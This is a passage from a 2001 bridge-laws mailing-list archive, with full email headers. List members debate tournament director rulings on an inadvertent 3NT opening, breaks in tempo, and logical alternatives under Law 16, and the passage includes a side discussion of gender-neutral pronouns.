next board, >so Law 71C applies. Declarer cannot loose a trick by any >normal play. Playing S2 first is not a "normal" play. >The score is corrected to 4S making 5 = 450. > >2nd case: same scenario, but dummy awakes after his > partner has already Pass on the next board (or later). > >Ruling: Law 71C no more applies and 71A prevails. >Declarer can loose a trick with a "legal" play if S2 if >played before SA. >The score stands: 4S = 420. > >Comments please. > >Laval Du Breuil >Quebec City > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 10:57:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0CNvap13193 for bridge-laws-outgoing; Sat, 13 Jan 2001 10:57:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta04-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0CNvUt13189 for ; Sat, 13 Jan 2001 10:57:31 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta04-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license fc2c4e20c60bc99c8c8f9bb6725f4ded) with SMTP id <20010112235857.DULC27862.amsmta04-svc@witz> for ; Sat, 13 Jan 2001 00:58:57 +0100 Message-Id: <3.0.2.32.20010113005922.0109eb28@mail.chello.nl> X-Sender: a.witzen@mail.chello.nl X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Sat, 13 Jan 2001 00:59:22 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Inadvertency In-Reply-To: <0c2601c07ce7$7f947820$55c2113f@uymfdlvk> References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 02:32 PM 12-01-01 -0800, you wrote: > >Tom Strong wrote: > >> Dealer West Vul North South >> >> West East >> S. QJ8 S. A9 >> H. 4 H. KJ753 >> D. J D. KQ1075 >> C. J10987643 C. Q >> >> East West are both good players with West a regular on the Congress >> circuit. They are playing together for the first time. >> West opens with three no trump and then says I have made an inadvertent >bid >> and calls for the director. The director examines the system card in >which >> three no trump is shown as gambling. He discovers that they had not >> discussed the bid in any way beyond the simple agreement. >> He finally ruled inadvertency on the grounds that even with eight cards >> this did not fulfill any of the common local versions of the Gambling >Three >> No Trump. >> My own inclination would be to refuse this and treat it as an error in >> bidding. Comments would be appreciated as at the club level we get few >> decisions of this sort and need education as to the correct decision and >why. > > > What was the time frame here? Did the director call come >immediately or after a delay? > > Assuming that the claim of inadvertancy was made quite quickly, >I would be hard pressed not to believe him, since this isn't a 3NT bid in >any system I have ever heard of. Of course, if it **would** be an >acceptable 3NT bid in your part of the world, then my answer could well be >different. > i wonder why the td didnd ask why w did bid 3 NT. I think thats his first duty. now we dont know the answer and probably never will. i too think it isnt an inadvertend bid and wont allow correction under 25a the td has no task in making decisions for the players, he has the task of esthablishing facts. this looks clearly like a 25b rule; a- for ew and table result for NS regards, anton > Chris > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 11:11:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D0B9x13220 for bridge-laws-outgoing; Sat, 13 Jan 2001 11:11:09 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta01-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D0B3t13216 for ; Sat, 13 Jan 2001 11:11:03 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta01-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license fc2c4e20c60bc99c8c8f9bb6725f4ded) with SMTP id <20010113000554.DRGU20132.amsmta01-svc@witz> for ; Sat, 13 Jan 2001 01:05:54 +0100 Message-Id: <3.0.2.32.20010113011255.01120c08@mail.chello.nl> X-Sender: a.witzen@mail.chello.nl X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Sat, 13 Jan 2001 01:12:55 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Annoyingly irregular In-Reply-To: <024901c07c64$6957a7e0$56991e18@san.rr.com> References: <200101021604.LAA17526@cfa183.harvard.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:47 PM 11-01-01 -0800, you wrote: >David Stevenson wrote: > > >> Steve Willner writes >> >> From: "N. Scott Cardell" >> >> >> You call the director during, for example, the following auction: >> >> >> >> West North(you) East South >> >> 1D, Double, 4H, 4S, >> >> slow pass, pass, 5H >> >> >Maybe you call the director after the 5H bid; I certainly don't. >Look >> >again at the footnote to L16A2. >> > >> >I agree that what Scott suggests is widely practiced, but the proper >> >times to call the director are a) immediately after the slow pass (if >> >"reserving rights" is not allowed by your SO) > >"Reserving rights" is not allowed by the ACBL, but it is not clear that >calling immediately after the slow pass is a requirement. The "Election" >is strangely worded, but it seems to say that the TD call does not >come at the time of the hesitation, but later, when an illegal action >may have been taken. That may not be the intended meaning, >but that's what is conveyed by the syntax used. > >You would need a lot of TDs if one is to be called every time >there is a break in tempo. > why??? the td just asks if the break in tempo is agreed (if necessary does some enquiry), then summonds bidding and playing to go on and asks/orders to be called again if there is something fishy about the 5h bid. takes about 15 seconds. so i dont see the problem regards, anton >Marv >San Diego, CA, USA > > > > > > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 11:32:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D0VrK13245 for bridge-laws-outgoing; Sat, 13 Jan 2001 11:31:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D0Vlt13241 for ; Sat, 13 Jan 2001 11:31:48 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 12 Jan 2001 16:28:38 -0800 Message-ID: <036101c07cf8$29e23c80$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Annoyingly irregular Date: Fri, 12 Jan 2001 16:23:38 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Tim West-meads wrote: > >Grattan wrote: > >> > > > >> > > 1. Seeking redress for UI based on a legalistic definition of LA > >> > > when you know that the particular player involved really would > >> > > always take the action in question. > >> > > >> > This means you think the particular player had no LA. Since you > >> > have no "substantial reason to believe that an opponent who had a > >> > logical alternative" etc under L16 you should not be calling the > >> > director - thus this is illegal. > >> > > >> +=+ I think a distinction should be made as between > >> system and style in this context. Where system > >> demands a given call no problem, but if it is said > >> the individual player's style would cause him to > >> make it the case is more difficult. Style is subjective > >> and only the player himself can speak to it with > >> assurance; the normal requirement is to judge by > >> reference to what his peers would do if playing the > >> same system and I do not believe there is an onus > >> on Directors or ACs to make subjective judgements > >> as to style. The term 'logical alternative' is not > >> attached in the laws to the style of the individual > >> but to objective standards. ~ Grattan ~ +=+ > > > >I had always understood that "peers" referred to "those of similar system, > >ability, and *style*" (not in the laws but DWS might be able to enlighten > >as I think he quoted to me from somewhere). > > I made up the quote and tested it here and at the EBU panel TD > weekend. Both seemed to think it fair enough. > I agree with this excellent definition, but the word "peers" is not used in L16. It is appropriate for claimers and maybe others, but I don't see that it has a role in L16. L16A uses the term "logical alternative," not saying whether the logic applies to the specific player involved or to a more objective standard. If the former, why not a footnote like the ones for contested claims, referring to "the class of player involved"? In the absence of such a footnote I would tend to take only a player's system into account when judging what is an LA for the player. I guess that puts me a step beyond, but in the same direction, as Grattan's position. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 12:23:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D1N5T29779 for bridge-laws-outgoing; Sat, 13 Jan 2001 12:23:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.ihug.co.nz (root@smtp2.ihug.co.nz [203.109.252.8]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D1Mst29710 for ; Sat, 13 Jan 2001 12:22:54 +1100 (EST) Received: from julie (p135-tnt7.akl.ihug.co.nz [203.173.206.135]) by smtp2.ihug.co.nz (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id OAA22481 for ; Sat, 13 Jan 2001 14:22:48 +1300 X-Authentication-Warning: smtp2.ihug.co.nz: Host p135-tnt7.akl.ihug.co.nz [203.173.206.135] claimed to be julie Message-ID: <000d01c07cfe$e981a8e0$87ceadcb@ihug.co.nz> From: "Julie Atkinson" To: References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> Subject: Re: [BLML] Inadvertency Date: Sat, 13 Jan 2001 14:19:42 +1300 Organization: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Before making any decision I would need to know what agreement he has with his regular partner. If, for example, 3NT would be a 4 level minor pre-empt I would not allow inadvertancy. Julie > This problem arose during aone day teams run at the club level. The > local directors are uncertain as to whether the decision made at the table > wasss correct. There was no point in appealing as it was a technical one > which directors are best to deal with. > Dealer West Vul North South > > West East > S. QJ8 S. A9 > H. 4 H. KJ753 > D. J D. KQ1075 > C. J10987643 C. Q > > East West are both good players with West a regular on the Congress > circuit. They are playing together for the first time. > West opens with three no trump and then says I have made an inadvertent bid > and calls for the director. The director examines the system card in which > three no trump is shown as gambling. He discovers that they had not > discussed the bid in any way beyond the simple agreement. > He finally ruled inadvertency on the grounds that even with eight cards > this did not fulfill any of the common local versions of the Gambling Three > No Trump. > My own inclination would be to refuse this and treat it as an error in > bidding. Comments would be appreciated as at the club level we get few > decisions of this sort and need education as to the correct decision and why. > Tom > > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 14:49:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D3m7I06600 for bridge-laws-outgoing; Sat, 13 Jan 2001 14:48:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D3lnt06521 for ; Sat, 13 Jan 2001 14:47:54 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HHfI-000L6r-0K for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 03:47:42 +0000 Message-ID: <+AWrZeD888X6Ewvq@probst.demon.co.uk> Date: Sat, 13 Jan 2001 03:45:00 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Inadvertency References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> <0c2601c07ce7$7f947820$55c2113f@uymfdlvk> In-Reply-To: <0c2601c07ce7$7f947820$55c2113f@uymfdlvk> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <0c2601c07ce7$7f947820$55c2113f@uymfdlvk>, Chris Pisarra writes > >Tom Strong wrote: > >> Dealer West Vul North South >> >> West East >> S. QJ8 S. A9 >> H. 4 H. KJ753 >> D. J D. KQ1075 >> C. J10987643 C. Q >> >> East West are both good players with West a regular on the Congress >> circuit. They are playing together for the first time. >> West opens with three no trump and then says I have made an inadvertent >bid >> and calls for the director. The director examines the system card in >which >> three no trump is shown as gambling. He discovers that they had not >> discussed the bid in any way beyond the simple agreement. >> He finally ruled inadvertency on the grounds that even with eight cards >> this did not fulfill any of the common local versions of the Gambling >Three >> No Trump. >> My own inclination would be to refuse this and treat it as an error in >> bidding. Comments would be appreciated as at the club level we get few >> decisions of this sort and need education as to the correct decision and >why. > > > What was the time frame here? Did the director call come >immediately or after a delay? > > Assuming that the claim of inadvertancy was made quite quickly, >I would be hard pressed not to believe him, since this isn't a 3NT bid in >any system I have ever heard of. Of course, if it **would** be an >acceptable 3NT bid in your part of the world, then my answer could well be >different. > > Chris Why? You didn't look at his hand did you? -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 14:49:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D3m4t06582 for bridge-laws-outgoing; Sat, 13 Jan 2001 14:48:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D3lot06522 for ; Sat, 13 Jan 2001 14:47:50 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HHfI-000L6q-0K for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 03:47:42 +0000 Message-ID: <$QKrdZDN88X6Ewun@probst.demon.co.uk> Date: Sat, 13 Jan 2001 03:44:13 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Inadvertency References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> In-Reply-To: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au>, Tom Strong writes > This problem arose during aone day teams run at the club level. The >local directors are uncertain as to whether the decision made at the table >wasss correct. There was no point in appealing as it was a technical one >which directors are best to deal with. >Dealer West Vul North South > >West East >S. QJ8 S. A9 >H. 4 H. KJ753 >D. J D. KQ1075 >C. J10987643 C. Q > > East West are both good players with West a regular on the Congress >circuit. They are playing together for the first time. >West opens with three no trump and then says I have made an inadvertent bid >and calls for the director. Law 25A applies: The TD should ask the player "at the time you made the call was your intention to bid 3NT?". if the player says "Yes" the bid stands (subject to Law 25B which is not germane to this argument). If the player says "No". the TD says "please make the call you intended" and explains to the opponents that the original call never existed as it was never in the player's mind.. UNDER NO CIRCUMSTANCES should he either inspect the cc, or look at the hand. to do so creates unauthorised information a the TD is being asked to make a bridge judgement. This is completely routine in the UK; and players answer the question honestly. Really; they do. > The director examines the system card in which >three no trump is shown as gambling. He discovers that they had not >discussed the bid in any way beyond the simple agreement. > He finally ruled inadvertency on the grounds that even with eight cards >this did not fulfill any of the common local versions of the Gambling Three >No Trump. > My own inclination would be to refuse this and treat it as an error in >bidding. Comments would be appreciated as at the club level we get few >decisions of this sort and need education as to the correct decision and why. > Tom > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 14:49:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D3m7q06596 for bridge-laws-outgoing; Sat, 13 Jan 2001 14:48:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D3lnt06517 for ; Sat, 13 Jan 2001 14:47:50 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HHfI-000L6p-0K for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 03:47:42 +0000 Message-ID: <1QjpNXDp18X6EwO$@probst.demon.co.uk> Date: Sat, 13 Jan 2001 03:37:13 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Annoyingly irregular References: <036101c07cf8$29e23c80$56991e18@san.rr.com> In-Reply-To: <036101c07cf8$29e23c80$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <036101c07cf8$29e23c80$56991e18@san.rr.com>, Marvin L. French writes >David Stevenson wrote: > >> Tim West-meads wrote: > >> >Grattan wrote: >> >> > > >> >> > > 1. Seeking redress for UI based on a legalistic definition of >LA >> >> > > when you know that the particular player involved really would >> >> > > always take the action in question. >> >> > >> >> > This means you think the particular player had no LA. Since you >> >> > have no "substantial reason to believe that an opponent who had a >> >> > logical alternative" etc under L16 you should not be calling the >> >> > director - thus this is illegal. For me the test for LA is ... "A player of this class, playing in this class of field." When I know the player I give more credence to the 'self-serving' statement than otherwise. >> >> > >> >> +=+ I think a distinction should be made as between >> >> system and style in this context. Where system >> >> demands a given call no problem, but if it is said >> >> the individual player's style would cause him to >> >> make it the case is more difficult. Style is subjective >> >> and only the player himself can speak to it with >> >> assurance; the normal requirement is to judge by >> >> reference to what his peers would do if playing the >> >> same system and I do not believe there is an onus >> >> on Directors or ACs to make subjective judgements >> >> as to style. The term 'logical alternative' is not >> >> attached in the laws to the style of the individual >> >> but to objective standards. ~ Grattan ~ +=+ >> > >> >I had always understood that "peers" referred to "those of similar >system, >> >ability, and *style*" (not in the laws but DWS might be able to >enlighten >> >as I think he quoted to me from somewhere). >> >> I made up the quote and tested it here and at the EBU panel TD >> weekend. Both seemed to think it fair enough. >> >I agree with this excellent definition, but the word "peers" is >not used in L16. It is appropriate for claimers and maybe others, >but I don't see that it has a role in L16. > >L16A uses the term "logical alternative," not saying whether the logic >applies to the specific player involved or to a more objective standard. >If the former, why not a footnote like the ones for contested claims, >referring to "the class of player involved"? > >In the absence of such a footnote I would tend to take only a player's >system into account when judging what is an LA for the player. > >I guess that puts me a step beyond, but in the same direction, as >Grattan's position. > >Marv >San Diego, CA, USA > > > > > > > > > > > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 14:49:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D3luI06551 for bridge-laws-outgoing; Sat, 13 Jan 2001 14:47:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D3lkt06500 for ; Sat, 13 Jan 2001 14:47:47 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by tele-post-20.mail.demon.net with smtp (Exim 2.12 #2) id 14HHfI-000L6s-0K for bridge-laws@rgb.anu.edu.au; Sat, 13 Jan 2001 03:47:41 +0000 Message-ID: Date: Sat, 13 Jan 2001 03:46:20 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Inadvertency References: <1.5.4.32.20010112222924.00671bac@mail.ausinfo.com.au> <000d01c07cfe$e981a8e0$87ceadcb@ihug.co.nz> In-Reply-To: <000d01c07cfe$e981a8e0$87ceadcb@ihug.co.nz> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <000d01c07cfe$e981a8e0$87ceadcb@ihug.co.nz>, Julie Atkinson writes >Before making any decision I would need to know what agreement he has with >his regular partner. If, for example, 3NT would be a 4 level minor pre-empt >I would not allow inadvertancy. > Why? you didn't look at his hand did you? >Julie > >> This problem arose during aone day teams run at the club level. The >> local directors are uncertain as to whether the decision made at the table >> wasss correct. There was no point in appealing as it was a technical one >> which directors are best to deal with. >> Dealer West Vul North South >> >> West East >> S. QJ8 S. A9 >> H. 4 H. KJ753 >> D. J D. KQ1075 >> C. J10987643 C. Q >> >> East West are both good players with West a regular on the Congress >> circuit. They are playing together for the first time. >> West opens with three no trump and then says I have made an inadvertent >bid >> and calls for the director. The director examines the system card in >which >> three no trump is shown as gambling. He discovers that they had not >> discussed the bid in any way beyond the simple agreement. >> He finally ruled inadvertency on the grounds that even with eight cards >> this did not fulfill any of the common local versions of the Gambling >Three >> No Trump. >> My own inclination would be to refuse this and treat it as an error in >> bidding. Comments would be appreciated as at the club level we get few >> decisions of this sort and need education as to the correct decision and >why. >> Tom >> >> >> -- >> ======================================================================== >> (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >> "(un)subscribe bridge-laws" or just "help" in the BODY of the message. >> A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ >> > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 17:54:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D6rxx28415 for bridge-laws-outgoing; Sat, 13 Jan 2001 17:53:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0D6rrt28411 for ; Sat, 13 Jan 2001 17:53:54 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Fri, 12 Jan 2001 22:50:44 -0800 Message-ID: <036c01c07d2d$8b1ce1a0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Bad Language Date: Fri, 12 Jan 2001 22:50:15 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Todd Zimnoch" > >From: Craig Senior > > I too wish "on" would transliterate; the absense of its equivalent is one > >of the weaknesses of English. > > 'On' transliterates from cyrillic quite well, but it's still a gendered > 3rd person singular in Russian. > > >Perhaps we could find a neutral (not sexless) > >contruct and by agenda and use transform it as much as the word gay seems > >to have been in recent decades. > > I don't think you'll find enough people who'll both care and agree with > your choice. It seems that the people who've chosen 'they' and 'hir' as > their constructs of choice are winning the race. > > >But to collapse the plural into the > >singular only degrades the expressiveness and clarity of communication in > >English...for all women (and others who think). > > I wouldn't consider English a good model for clarity. > I dunno. There are plenty of words in English which are already both > singular and plural in use and we seem to do just fine, e.g. sheep, fish. > Others that when unqualified are non-descript amounts and rarely inflected, > e.g. sand ('sands of time' being the only exception I know of), water. And > some that are only inflected when counted out, e.g. hair (headful of hair > vs. 3 hairs). The singular and plural forms of words are sometimes one in > the same. And of course we have "you," singular and plural. > Also, rather than making the formal/informal distinction between the > 2nd and 3rd persons like Spanish and French do, Finnish and Russian use the > 2nd person plural as the polite address for one person. It's not unheard of > to use a plural construct to refer to one person. > German uses "sie" for "she," "you" (polite, singular and plural), "it," and "they." Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 13 18:44:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0D7iS528472 for bridge-laws-outgoing; Sat, 13 Jan 2001 18:44:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au 